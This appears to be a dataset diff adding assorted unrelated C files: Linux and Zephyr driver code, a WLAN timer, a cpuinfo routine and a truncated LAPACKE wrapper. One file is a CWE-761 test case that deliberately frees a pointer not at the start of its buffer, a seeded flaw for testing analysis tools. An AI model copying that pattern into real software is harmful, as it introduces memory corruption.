+	if (rc) {
+		printk("Bluetooth init failed (err %d)\n", rc);
+		return;
+	}
+
+	ipm = device_get_binding("ess_ipm");
+	ipm_register_callback(ipm, sensor_ipm_callback, NULL);
+	ipm_set_enabled(ipm, 1);
+
+	k_sleep(K_FOREVER);
+}
diff --git a/pool/shard001/C/0024440_ntrdma_cq.c b/pool/shard001/C/0024440_ntrdma_cq.c
new file mode 100644
index 0000000000000000000000000000000000000000..c1d50420edbf636681d5633a3ad090354b217e4d
--- /dev/null
+++ b/pool/shard001/C/0024440_ntrdma_cq.c
@@ -0,0 +1,208 @@
+/*
+ * Copyright (c) 2014, 2015 EMC Corporation.  All rights reserved.
+ *
+ * This software is available to you under a choice of one of two
+ * licenses.  You may choose to be licensed under the terms of the GNU
+ * General Public License (GPL) Version 2, available from the file
+ * COPYING in the main directory of this source tree, or the
+ * OpenIB.org BSD license below:
+ *
+ *     Redistribution and use in source and binary forms, with or
+ *     without modification, are permitted provided that the following
+ *     conditions are met:
+ *
+ *      - Redistributions of source code must retain the above
+ *        copyright notice, this list of conditions and the following
+ *        disclaimer.
+ *
+ *      - Redistributions in binary form must reproduce the above
+ *        copyright notice, this list of conditions and the following
+ *        disclaimer in the documentation and/or other materials
+ *        provided with the distribution.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+ * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS
+ * BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN
+ * ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
+ * CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+ * SOFTWARE.
+ */
+
+#include "ntrdma_dev.h"
+#include "ntrdma_cq.h"
+#include "ntrdma_qp.h"
+
+static void ntrdma_cq_cue_work(unsigned long ptrhld);
+
+DECLARE_PER_CPU(struct ntrdma_dev_counters, dev_cnt);
+
+void ntrdma_cq_init(struct ntrdma_cq *cq, struct ntrdma_dev *dev)
+{
+	ntrdma_obj_init(&cq->obj, dev);
+
+	INIT_LIST_HEAD(&cq->poll_list);
+	mutex_init(&cq->poll_lock);
+}
+
+void ntrdma_cq_vbell_init(struct ntrdma_cq *cq, int vbell_idx)
+{
+	struct ntrdma_dev *dev = ntrdma_cq_dev(cq);
+
+	cq->arm = 0;
+	cq->need_cue = false;
+	spin_lock_init(&cq->arm_lock);
+
+	tasklet_init(&cq->cue_work,
+		     ntrdma_cq_cue_work,
+		     to_ptrhld(cq));
+	ntrdma_tasklet_vbell_init(dev, &cq->vbell, vbell_idx, &cq->cue_work);
+}
+
+void ntrdma_cq_arm_resync(struct ntrdma_dev *dev)
+{
+	struct ntrdma_cq *cq;
+
+	mutex_lock(&dev->res.lock);
+	list_for_each_entry(cq, &dev->res.cq_list, obj.dev_entry) {
+		spin_lock_bh(&cq->arm_lock);
+		if (cq->arm) {
+			ntrdma_vbell_add_clear(&cq->vbell);
+			ntrdma_info(dev, "re arm cq %p vbell %d\n", cq,
+					cq->vbell.idx);
+			TRACE("re arm cq %p, vbell %d\n", cq, cq->vbell.idx);
+		}
+		spin_unlock_bh(&cq->arm_lock);
+	}
+	mutex_unlock(&dev->res.lock);
+}
+
+void ntrdma_cq_vbell_kill(struct ntrdma_cq *cq)
+{
+	spin_lock_bh(&cq->arm_lock);
+	{
+		cq->arm = 0;
+		cq->need_cue = false;
+	}
+	spin_unlock_bh(&cq->arm_lock);
+
+	ntrdma_tasklet_vbell_kill(&cq->vbell);
+}
+
+void ntrdma_cq_arm(struct ntrdma_cq *cq)
+{
+	bool need_cue;
+	unsigned int arm;
+
+	this_cpu_inc(dev_cnt.cqes_armed);
+
+	spin_lock_bh(&cq->arm_lock);
+
+	ntrdma_vbell_readd(&cq->vbell);
+	++cq->arm;
+	arm = cq->arm;
+	need_cue = cq->need_cue;
+	cq->need_cue = false;
+
+	spin_unlock_bh(&cq->arm_lock);
+
+	TRACE("cq %p arm %d need cue %d vbell idx %d\n",
+		cq, arm, need_cue, cq->vbell.idx);
+
+	if (need_cue)
+		ntrdma_cq_cue(cq);
+}
+
+void _ntrdma_cq_cue(struct ntrdma_cq *cq, const char *f)
+{
+	unsigned int arm, initial_arm;
+
+	spin_lock_bh(&cq->arm_lock);
+
+	if (unlikely(!cq->ibcq_valid)) {
+		spin_unlock_bh(&cq->arm_lock);
+		return;
+	}
+
+	arm = cq->arm;
+
+	initial_arm = arm = cq->arm;
+	cq->arm = 0;
+
+	if (!arm)
+		cq->need_cue = true;
+
+	for (; arm; --arm) {
+		/*TODO: do we realy need to run this in spinlock???*/
+		cq->ibcq.comp_handler(&cq->ibcq, cq->ibcq.cq_context);
+		TRACE("cq %p arm %d %s\n", cq, initial_arm, f);
+	}
+	spin_unlock_bh(&cq->arm_lock);
+
+	this_cpu_add(dev_cnt.cqes_notified, initial_arm);
+}
+
+void ntrdma_cq_add_poll(struct ntrdma_cq *cq, struct ntrdma_poll *poll)
+{
+	mutex_lock(&cq->poll_lock);
+	{
+		list_add_tail(&poll->cq_entry, &cq->poll_list);
+	}
+	mutex_unlock(&cq->poll_lock);
+}
+
+void ntrdma_cq_del_poll(struct ntrdma_cq *cq, struct ntrdma_poll *poll)
+{
+	mutex_lock(&cq->poll_lock);
+	list_del(&poll->cq_entry);
+	mutex_unlock(&cq->poll_lock);
+}
+
+int ntrdma_cq_cmpl_get(struct ntrdma_cq *cq, struct ntrdma_qp **qp,
+		       u32 *pos, u32 *end, u32 *base)
+{
+	struct ntrdma_poll *poll;
+	int rc = -EAGAIN;
+
+	list_for_each_entry(poll, &cq->poll_list, cq_entry) {
+		rc = poll->poll_start_and_get(poll, qp, pos, end, base);
+		if (rc == -EAGAIN && qp && *qp) {
+			if (rc == -EAGAIN)
+				continue;
+		}
+
+		/* move the head to after the entry (rotate the list) */
+		list_move(&cq->poll_list, &poll->cq_entry);
+		break;
+	}
+
+	return rc;
+}
+
+void ntrdma_cq_cmpl_put(struct ntrdma_cq *cq,
+			u32 pos, u32 base)
+{
+	struct ntrdma_poll *poll;
+
+	poll = list_last_entry(&cq->poll_list, struct ntrdma_poll, cq_entry);
+
+	poll->poll_put_and_done(poll, pos, base);
+}
+
+void ntrdma_cq_cmpl_cqe(struct ntrdma_cq *cq,
+			struct ntrdma_cqe *outcqe, u32 pos)
+{
+	struct ntrdma_poll *poll;
+
+	poll = list_last_entry(&cq->poll_list, struct ntrdma_poll, cq_entry);
+
+	return poll->poll_cqe(poll, outcqe, pos);
+}
+
+static void ntrdma_cq_cue_work(unsigned long ptrhld)
+{
+	struct ntrdma_cq *cq = of_ptrhld(ptrhld);
+
+	ntrdma_cq_cue(cq);
+}
diff --git a/pool/shard001/C/0024441_CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54a.c b/pool/shard001/C/0024441_CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54a.c
new file mode 100644
index 0000000000000000000000000000000000000000..9ad31bed5b5b2ca6c56cfd7b01c388067e34bf14
--- /dev/null
+++ b/pool/shard001/C/0024441_CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54a.c
@@ -0,0 +1,113 @@
+/* TEMPLATE GENERATED TESTCASE FILE
+Filename: CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54a.c
+Label Definition File: CWE761_Free_Pointer_Not_at_Start_of_Buffer.label.xml
+Template File: source-sinks-54a.tmpl.c
+*/
+/*
+ * @description
+ * CWE: 761 Free Pointer not at Start of Buffer
+ * BadSource: environment Read input from an environment variable
+ * Sinks:
+ *    GoodSink: free() memory correctly at the start of the buffer
+ *    BadSink : free() memory not at the start of the buffer
+ * Flow Variant: 54 Data flow: data passed as an argument from one function through three others to a fifth; all five functions are in different source files
+ *
+ * */
+
+#include "std_testcase.h"
+
+#include <wchar.h>
+
+#define ENV_VARIABLE L"ADD"
+
+#ifdef _WIN32
+#define GETENV _wgetenv
+#else
+#define GETENV getenv
+#endif
+
+#define SEARCH_CHAR L'S'
+
+#ifndef OMITBAD
+
+/* bad function declaration */
+void CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54b_badSink(wchar_t * data);
+
+void CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54_bad()
+{
+    wchar_t * data;
+    data = (wchar_t *)malloc(100*sizeof(wchar_t));
+    data[0] = L'\0';
+    {
+        /* Append input from an environment variable to data */
+        size_t dataLen = wcslen(data);
+        wchar_t * environment = GETENV(ENV_VARIABLE);
+        /* If there is data in the environment variable */
+        if (environment != NULL)
+        {
+            /* POTENTIAL FLAW: Read data from an environment variable */
+            wcsncat(data+dataLen, environment, 100-dataLen-1);
+        }
+    }
+    CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54b_badSink(data);
+}
+
+#endif /* OMITBAD */
+
+#ifndef OMITGOOD
+
+/* good function declarations */
+void CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54b_goodB2GSink(wchar_t * data);
+
+/* goodB2G uses the BadSource with the GoodSink */
+static void goodB2G()
+{
+    wchar_t * data;
+    data = (wchar_t *)malloc(100*sizeof(wchar_t));
+    data[0] = L'\0';
+    {
+        /* Append input from an environment variable to data */
+        size_t dataLen = wcslen(data);
+        wchar_t * environment = GETENV(ENV_VARIABLE);
+        /* If there is data in the environment variable */
+        if (environment != NULL)
+        {
+            /* POTENTIAL FLAW: Read data from an environment variable */
+            wcsncat(data+dataLen, environment, 100-dataLen-1);
+        }
+    }
+    CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54b_goodB2GSink(data);
+}
+
+void CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54_good()
+{
+    goodB2G();
+}
+
+#endif /* OMITGOOD */
+
+/* Below is the main(). It is only used when building this testcase on
+   its own for testing or for building a binary to use in testing binary
+   analysis tools. It is not used when compiling all the testcases as one
+   application, which is how source code analysis tools are tested. */
+
+#ifdef INCLUDEMAIN
+
+int main(int argc, char * argv[])
+{
+    /* seed randomness */
+    srand( (unsigned)time(NULL) );
+#ifndef OMITGOOD
+    printLine("Calling good()...");
+    CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54_good();
+    printLine("Finished good()");
+#endif /* OMITGOOD */
+#ifndef OMITBAD
+    printLine("Calling bad()...");
+    CWE761_Free_Pointer_Not_at_Start_of_Buffer__wchar_t_environment_54_bad();
+    printLine("Finished bad()");
+#endif /* OMITBAD */
+    return 0;
+}
+
+#endif
diff --git a/pool/shard001/C/0024445_wlan_qct_pal_timer.c b/pool/shard001/C/0024445_wlan_qct_pal_timer.c
new file mode 100644
index 0000000000000000000000000000000000000000..185bbf54fd1fe418d91a74d5e4b6da4952700156
--- /dev/null
+++ b/pool/shard001/C/0024445_wlan_qct_pal_timer.c
@@ -0,0 +1,190 @@
+/*
+ * Copyright (c) 2012, The Linux Foundation. All rights reserved.
+ *
+ * Previously licensed under the ISC license by Qualcomm Atheros, Inc.
+ *
+ *
+ * Permission to use, copy, modify, and/or distribute this software for
+ * any purpose with or without fee is hereby granted, provided that the
+ * above copyright notice and this permission notice appear in all
+ * copies.
+ *
+ * THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL
+ * WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED
+ * WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE
+ * AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL
+ * DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR
+ * PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER
+ * TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR
+ * PERFORMANCE OF THIS SOFTWARE.
+ */
+
+
+
+/**=========================================================================
+  
+  \file  wlan_qct_pal_timer.c
+  
+  \brief Implementation trace/logging APIs PAL exports. wpt = (Wlan Pal Type) wpal = (Wlan PAL)
+               
+   Definitions for platform Windows.
+  
+   Copyright 2010-2011 (c) Qualcomm, Incorporated.  All Rights Reserved.
+   
+   Qualcomm Confidential and Proprietary.
+  
+  ========================================================================*/
+
+#include "wlan_qct_pal_timer.h"
+#include "wlan_qct_pal_trace.h"
+#include "wlan_qct_os_status.h"
+#include "vos_threads.h"
+
+/*---------------------------------------------------------------------------
+ \brief wpalTimerCback - VOS timer callback function
+
+ \param pUserdata - A cookie to data passed back in the callback function
+---------------------------------------------------------------------------*/
+static void wpalTimerCback( void * userData )
+{
+   wpt_timer *pTimer = (wpt_timer *)userData;
+
+   if(NULL != pTimer->callback)
+   {
+      pTimer->callback(pTimer->pUserData);
+   }
+#ifdef WLAN_DEBUG
+   else
+   {
+      WPAL_TRACE( eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_WARN, " %s pTimer(%d) callback after deleted \n",
+         __FUNCTION__, (wpt_uint32)pTimer );
+   }
+#endif
+}/*wpalTimerCback*/
+
+/*---------------------------------------------------------------------------
+ \brief wpalTimerInit - initialize a wpt_timer object
+
+ \param pTimer - a pointer to caller allocated wpt_timer object
+ \param callback - A callback function
+ \param pUserData - A cookie to data passed back in the callback function
+
+ \return wpt_status eWLAN_PAL_STATUS_SUCCESS - success. Fail otherwise.
+---------------------------------------------------------------------------*/
+wpt_status wpalTimerInit(wpt_timer * pTimer, wpal_timer_callback callback, void *pUserData)
+{
+   /* Sanity Checks */
+   if( pTimer == NULL || callback == NULL )
+   {
+#ifdef WLAN_DEBUG
+      WPAL_TRACE( eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_ERROR, " %s Wrong param pTimer(%d) callback(%d)\n",
+         __FUNCTION__, (wpt_uint32)pTimer, (wpt_uint32)callback );
+#endif
+      return eWLAN_PAL_STATUS_E_INVAL;
+   }
+
+   if ( vos_timer_init( &pTimer->timer.timerObj, VOS_TIMER_TYPE_SW, 
+                        wpalTimerCback, (void*)pTimer ) == VOS_STATUS_SUCCESS )
+   {
+      pTimer->callback = callback;
+      pTimer->pUserData = pUserData;
+      return eWLAN_PAL_STATUS_SUCCESS;
+   }
+
+   return eWLAN_PAL_STATUS_E_FAILURE;
+}/*wpalTimerInit*/
+
+
+/*---------------------------------------------------------------------------
+    \brief wpalTimerDelete - invalidate a wpt_timer object
+
+    \param pTimer a pointer to caller allocated wpt_timer object
+
+    \return eWLAN_PAL_STATUS_SUCCESS ?? success. Fail otherwise.
+---------------------------------------------------------------------------*/
+wpt_status wpalTimerDelete(wpt_timer *pTimer)
+{
+   wpt_status status;
+
+   /* Sanity Checks */
+   if( pTimer == NULL )
+   {
+#ifdef WLAN_DEBUG
+      WPAL_TRACE( eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_ERROR, " %s Wrong param pTimer(%d)\n",
+         __FUNCTION__, (wpt_uint32)pTimer );
+#endif
+      return eWLAN_PAL_STATUS_E_INVAL;
+   }
+
+   status = WPAL_VOS_TO_WPAL_STATUS( vos_timer_destroy(&pTimer->timer.timerObj));
+
+   if( status == eWLAN_PAL_STATUS_SUCCESS )
+   {
+      pTimer->callback = NULL;
+      pTimer->pUserData = NULL;
+   }
+
+   return status;
+}/*wpalTimerDelete*/
+
+
+/*---------------------------------------------------------------------------
+    wpalTimerStart - start a wpt_timer object with a timeout value
+
+    \param pTimer - a pointer to caller allocated wpt_timer object
+    \param timeout - timeout value of the timer. In unit of milli-seconds
+
+    \return
+        eWLAN_PAL_STATUS_SUCCESS - success. Fail otherwise.
+---------------------------------------------------------------------------*/
+wpt_status wpalTimerStart(wpt_timer * pTimer, wpt_uint32 timeout)
+{
+   /* Sanity Checks */
+   if( pTimer == NULL )
+   {
+#ifdef WLAN_DEBUG
+      WPAL_TRACE( eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_ERROR, " %s Wrong param pTimer(%d)\n",
+         __FUNCTION__, (wpt_uint32)pTimer );
+#endif
+      return eWLAN_PAL_STATUS_E_INVAL;
+   }
+   return ( WPAL_VOS_TO_WPAL_STATUS( vos_timer_start( &pTimer->timer.timerObj,
+                                                     timeout ) ) );
+}/*wpalTimerStart*/
+
+
+/*---------------------------------------------------------------------------
+    \brief wpalTimerStop - stop a wpt_timer object. Stop doesn't guarantee the
+            timer handler is not called if it is already timeout.
+
+    \param pTimer - a pointer to caller allocated wpt_timer object
+
+    \return
+        eWLAN_PAL_STATUS_SUCCESS - success. Fail otherwise.
+---------------------------------------------------------------------------*/
+wpt_status wpalTimerStop(wpt_timer * pTimer)
+{
+   /* Sanity Checks */
+   if( pTimer == NULL )
+   {
+#ifdef WLAN_DEBUG
+      WPAL_TRACE( eWLAN_MODULE_PAL, eWLAN_PAL_TRACE_LEVEL_ERROR, " %s Wrong param pTimer(%d)\n",
+         __FUNCTION__, (wpt_uint32)pTimer );
+#endif
+      return eWLAN_PAL_STATUS_E_INVAL;
+   }
+   return (WPAL_VOS_TO_WPAL_STATUS( vos_timer_stop( &pTimer->timer.timerObj )));
+}/*wpalTimerStop*/
+
+/*---------------------------------------------------------------------------
+    wpalSleep - sleep for a specified interval
+    Param:
+        timeout - amount of time to sleep. In unit of milli-seconds.
+    Return:
+        eWLAN_PAL_STATUS_SUCCESS - success. Fail otherwise.
+---------------------------------------------------------------------------*/
+wpt_status wpalSleep(wpt_uint32 timeout)
+{
+   vos_sleep( timeout );
+   return eWLAN_PAL_STATUS_SUCCESS;
+}
diff --git a/pool/shard001/C/0024447_platform_emc1403.c b/pool/shard001/C/0024447_platform_emc1403.c
new file mode 100644
index 0000000000000000000000000000000000000000..69a783689d21b7c2c7ac9db8c21f10b6582a318d
--- /dev/null
+++ b/pool/shard001/C/0024447_platform_emc1403.c
@@ -0,0 +1,43 @@
+/*
+ * platform_emc1403.c: emc1403 platform data initilization file
+ *
+ * (C) Copyright 2013 Intel Corporation
+ * Author: Sathyanarayanan Kuppuswamy <sathyanarayanan.kuppuswamy@intel.com>
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License
+ * as published by the Free Software Foundation; version 2
+ * of the License.
+ */
+
+#include <linux/init.h>
+#include <linux/gpio.h>
+#include <linux/i2c.h>
+#include <asm/intel-mid.h>
+
+static void __init *emc1403_platform_data(void *info)
+{
+	static short intr2nd_pdata;
+	struct i2c_board_info *i2c_info = info;
+	int intr = get_gpio_by_name("thermal_int");
+	int intr2nd = get_gpio_by_name("thermal_alert");
+
+	if (intr < 0)
+		return NULL;
+	if (intr2nd < 0)
+		return NULL;
+
+	i2c_info->irq = intr + INTEL_MID_IRQ_OFFSET;
+	intr2nd_pdata = intr2nd + INTEL_MID_IRQ_OFFSET;
+
+	return &intr2nd_pdata;
+}
+
+static const struct devs_id emc1403_dev_id __initconst = {
+	.name = "emc1403",
+	.type = SFI_DEV_TYPE_I2C,
+	.delay = 1,
+	.get_platform_data = &emc1403_platform_data,
+};
+
+sfi_device(emc1403_dev_id);
diff --git a/pool/shard001/C/0024451_proc.c b/pool/shard001/C/0024451_proc.c
new file mode 100644
index 0000000000000000000000000000000000000000..af11d31dce0ae0df0b8a15772b2da15059a1871a
--- /dev/null
+++ b/pool/shard001/C/0024451_proc.c
@@ -0,0 +1,122 @@
+#include <linux/smp.h>
+#include <linux/timex.h>
+#include <linux/string.h>
+#include <asm/semaphore.h>
+#include <linux/seq_file.h>
+#include <linux/cpufreq.h>
+
+/*
+ *	Get CPU information for use by the procfs.
+ */
+static int show_cpuinfo(struct seq_file *m, void *v)
+{
+	struct cpuinfo_x86 *c = v;
+	int i, n = 0;
+	int fpu_exception;
+
+#ifdef CONFIG_SMP
+	n = c->cpu_index;
+#endif
+	seq_printf(m, "processor\t: %d\n"
+		"vendor_id\t: %s\n"
+		"cpu family\t: %d\n"
+		"model\t\t: %d\n"
+		"model name\t: %s\n",
+		n,
+		c->x86_vendor_id[0] ? c->x86_vendor_id : "unknown",
+		c->x86,
+		c->x86_model,
+		c->x86_model_id[0] ? c->x86_model_id : "unknown");
+
+	if (c->x86_mask || c->cpuid_level >= 0)
+		seq_printf(m, "stepping\t: %d\n", c->x86_mask);
+	else
+		seq_printf(m, "stepping\t: unknown\n");
+
+	if ( cpu_has(c, X86_FEATURE_TSC) ) {
+		unsigned int freq = cpufreq_quick_get(n);
+		if (!freq)
+			freq = cpu_khz;
+		seq_printf(m, "cpu MHz\t\t: %u.%03u\n",
+			freq / 1000, (freq % 1000));
+	}
+
+	/* Cache size */
+	if (c->x86_cache_size >= 0)
+		seq_printf(m, "cache size\t: %d KB\n", c->x86_cache_size);
+#ifdef CONFIG_X86_HT
+	if (c->x86_max_cores * smp_num_siblings > 1) {
+		seq_printf(m, "physical id\t: %d\n", c->phys_proc_id);
+		seq_printf(m, "siblings\t: %d\n",
+				cpus_weight(per_cpu(cpu_core_map, n)));
+		seq_printf(m, "core id\t\t: %d\n", c->cpu_core_id);
+		seq_printf(m, "cpu cores\t: %d\n", c->booted_cores);
+	}
+#endif
+	
+	/* We use exception 16 if we have hardware math and we've either seen it or the CPU claims it is internal */
+	fpu_exception = c->hard_math && (ignore_fpu_irq || cpu_has_fpu);
+	seq_printf(m, "fdiv_bug\t: %s\n"
+			"hlt_bug\t\t: %s\n"
+			"f00f_bug\t: %s\n"
+			"coma_bug\t: %s\n"
+			"fpu\t\t: %s\n"
+			"fpu_exception\t: %s\n"
+			"cpuid level\t: %d\n"
+			"wp\t\t: %s\n"
+			"flags\t\t:",
+		     c->fdiv_bug ? "yes" : "no",
+		     c->hlt_works_ok ? "no" : "yes",
+		     c->f00f_bug ? "yes" : "no",
+		     c->coma_bug ? "yes" : "no",
+		     c->hard_math ? "yes" : "no",
+		     fpu_exception ? "yes" : "no",
+		     c->cpuid_level,
+		     c->wp_works_ok ? "yes" : "no");
+
+	for ( i = 0 ; i < 32*NCAPINTS ; i++ )
+		if ( test_bit(i, c->x86_capability) &&
+		     x86_cap_flags[i] != NULL )
+			seq_printf(m, " %s", x86_cap_flags[i]);
+
+	for (i = 0; i < 32; i++)
+		if (c->x86_power & (1 << i)) {
+			if (i < ARRAY_SIZE(x86_power_flags) &&
+			    x86_power_flags[i])
+				seq_printf(m, "%s%s",
+					   x86_power_flags[i][0]?" ":"",
+					   x86_power_flags[i]);
+			else
+				seq_printf(m, " [%d]", i);
+		}
+
+	seq_printf(m, "\nbogomips\t: %lu.%02lu\n",
+		     c->loops_per_jiffy/(500000/HZ),
+		     (c->loops_per_jiffy/(5000/HZ)) % 100);
+	seq_printf(m, "clflush size\t: %u\n\n", c->x86_clflush_size);
+
+	return 0;
+}
+
+static void *c_start(struct seq_file *m, loff_t *pos)
+{
+	if (*pos == 0)	/* just in case, cpu 0 is not the first */
+		*pos = first_cpu(cpu_online_map);
+	if ((*pos) < NR_CPUS && cpu_online(*pos))
+		return &cpu_data(*pos);
+	return NULL;
+}
+static void *c_next(struct seq_file *m, void *v, loff_t *pos)
+{
+	*pos = next_cpu(*pos, cpu_online_map);
+	return c_start(m, pos);
+}
+static void c_stop(struct seq_file *m, void *v)
+{
+}
+const struct seq_operations cpuinfo_op = {
+	.start	= c_start,
+	.next	= c_next,
+	.stop	= c_stop,
+	.show	= show_cpuinfo,
+};
diff --git a/pool/shard001/C/0024452_msm_axi_qos.c b/pool/shard001/C/0024452_msm_axi_qos.c
new file mode 100644
index 0000000000000000000000000000000000000000..955719df6a411bae8145120a0c4df31dbcafa819
--- /dev/null
+++ b/pool/shard001/C/0024452_msm_axi_qos.c
@@ -0,0 +1,67 @@
+/* Copyright (c) 2009, Code Aurora Forum. All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License version 2 and
+ * only version 2 as published by the Free Software Foundation.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
+ * 02110-1301, USA.
+ *
+ */
+
+#include <linux/pm_qos_params.h>
+#include <mach/camera.h>
+#define MSM_AXI_QOS_NAME "msm_camera"
+
+static uint8_t axi_qos_requested;
+
+int request_axi_qos(uint32_t freq)
+{
+	int rc = 0;
+	if (!axi_qos_requested) {
+		rc = pm_qos_add_requirement(PM_QOS_SYSTEM_BUS_FREQ,
+			MSM_AXI_QOS_NAME, freq);
+		if (rc < 0)
+			CDBG("request AXI bus QOS fails. rc = %d\n",
+				rc);
+		else {
+			CDBG("%s: request successful\n", __func__);
+			axi_qos_requested = 1;
+			msleep(5);
+		}
+	}
+	return rc;
+}
+
+int update_axi_qos(uint32_t freq)
+{
+	int rc = 0;
+	if (axi_qos_requested) {
+		rc = pm_qos_update_requirement(PM_QOS_SYSTEM_BUS_FREQ,
+			MSM_AXI_QOS_NAME, freq);
+		if (rc < 0)
+			CDBG("update AXI bus QOS fails. rc = %d\n",
+				rc);
+		else
+			CDBG("%s: request successful\n", __func__);
+	}
+	return rc;
+}
+
+void release_axi_qos(void)
+{
+	if (axi_qos_requested) {
+		pm_qos_remove_requirement(PM_QOS_SYSTEM_BUS_FREQ,
+			MSM_AXI_QOS_NAME);
+		CDBG("%s: release successful\n", __func__);
+		axi_qos_requested = 0;
+		msleep(5);
+	}
+}
diff --git a/pool/shard001/C/0024454_lapacke_dsbgvx.c b/pool/shard001/C/0024454_lapacke_dsbgvx.c
new file mode 100644
index 0000000000000000000000000000000000000000..5fc5cd958d8ce9cd77ae10a759bc2e85b5b91fff
--- /dev/null
+++ b/pool/shard001/C/0024454_lapacke_dsbgvx.c
@@ -0,0 +1,97 @@
+/*****************************************************************************
+  Copyright (c) 2011, Intel Corp.
+  All rights reserved.
+
+  Redistribution and use in source and binary forms, with or without
+  modification, are permitted provided that the following conditions are met:
+
+    * Redistributions of source code must retain the above copyright notice,
+      this list of conditions and the following disclaimer.
+    * Redistributions in binary form must reproduce the above copyright
+      notice, this list of conditions and the following disclaimer in the
+      documentation and/or other materials provided with the distribution.
+    * Neither the name of Intel Corporation nor the names of its contributors
+      may be used to endorse or promote products derived from this software
+      without specific prior written permission.
+
+  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+  AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+  IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+  ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
+  LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
+  CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
+  SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
+  INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
+  CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
+  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF
+  THE POSSIBILITY OF SUCH DAMAGE.
+*****************************************************************************
+* Contents: Native high-level C interface to LAPACK function dsbgvx
+* Author: Intel Corporation
+* Generated November, 2011
+*****************************************************************************/
+
+#include "lapacke_utils.h"
+
+lapack_int LAPACKE_dsbgvx( int matrix_order, char jobz, char range, char uplo,
+                           lapack_int n, lapack_int ka, lapack_int kb,
+                           double* ab, lapack_int ldab, double* bb,
+                           lapack_int ldbb, double* q, lapack_int ldq,
+                           double vl, double vu, lapack_int il, lapack_int iu,
+                           double abstol, lapack_int* m, double* w, double* z,
+                           lapack_int ldz, lapack_int* ifail )
+{
+    lapack_int info = 0;
+    lapack_int* iwork = NULL;
+    double* work = NULL;
+    if( matrix_order != LAPACK_COL_MAJOR && matrix_order != LAPACK_ROW_MAJOR ) {
+        LAPACKE_xerbla( "LAPACKE_dsbgvx", -1 );
+        return -1;
+    }
+#ifndef LAPACK_DISABLE_NAN_CHECK
+    /* Optionally check input matrices for NaNs */
+    if( LAPACKE_dsb_nancheck( matrix_order, uplo, n, ka, ab, ldab ) ) {
+        return -8;
+    }
+    if( LAPACKE_d_nancheck( 1, &abstol, 1 ) ) {
+        return -18;
+    }
+    if( LAPACKE_dsb_nancheck( matrix_order, uplo, n, kb, bb, ldbb ) ) {
+        return -10;
+    }
+    if( LAPACKE_lsame( range, 'v' ) ) {
+        if( LAPACKE_d_nancheck( 1, &vl, 1 ) ) {
+            return -14;
+        }
+    }
+    if( LAPACKE_lsame( range, 'v' ) ) {
+        if( LAPACKE_d_nancheck( 1, &vu, 1 ) ) {
+            return -15;
+        }
+    }
+#endif
+    /* Allocate memory for working array(s) */
+    iwork = (lapack_int*)LAPACKE_malloc( sizeof(lapack_int) * MAX(1,5*n) );
+    if( iwork == NULL ) {
+        info = LAPACK_WORK_MEMORY_ERROR;
+        goto exit_level_0;
+    }
+    work = (double*)LAPACKE_malloc( sizeof(double) * MAX(1,7*n) );
+    if( work == NULL ) {
+        info = LAPACK_WORK_MEMORY_ERROR;
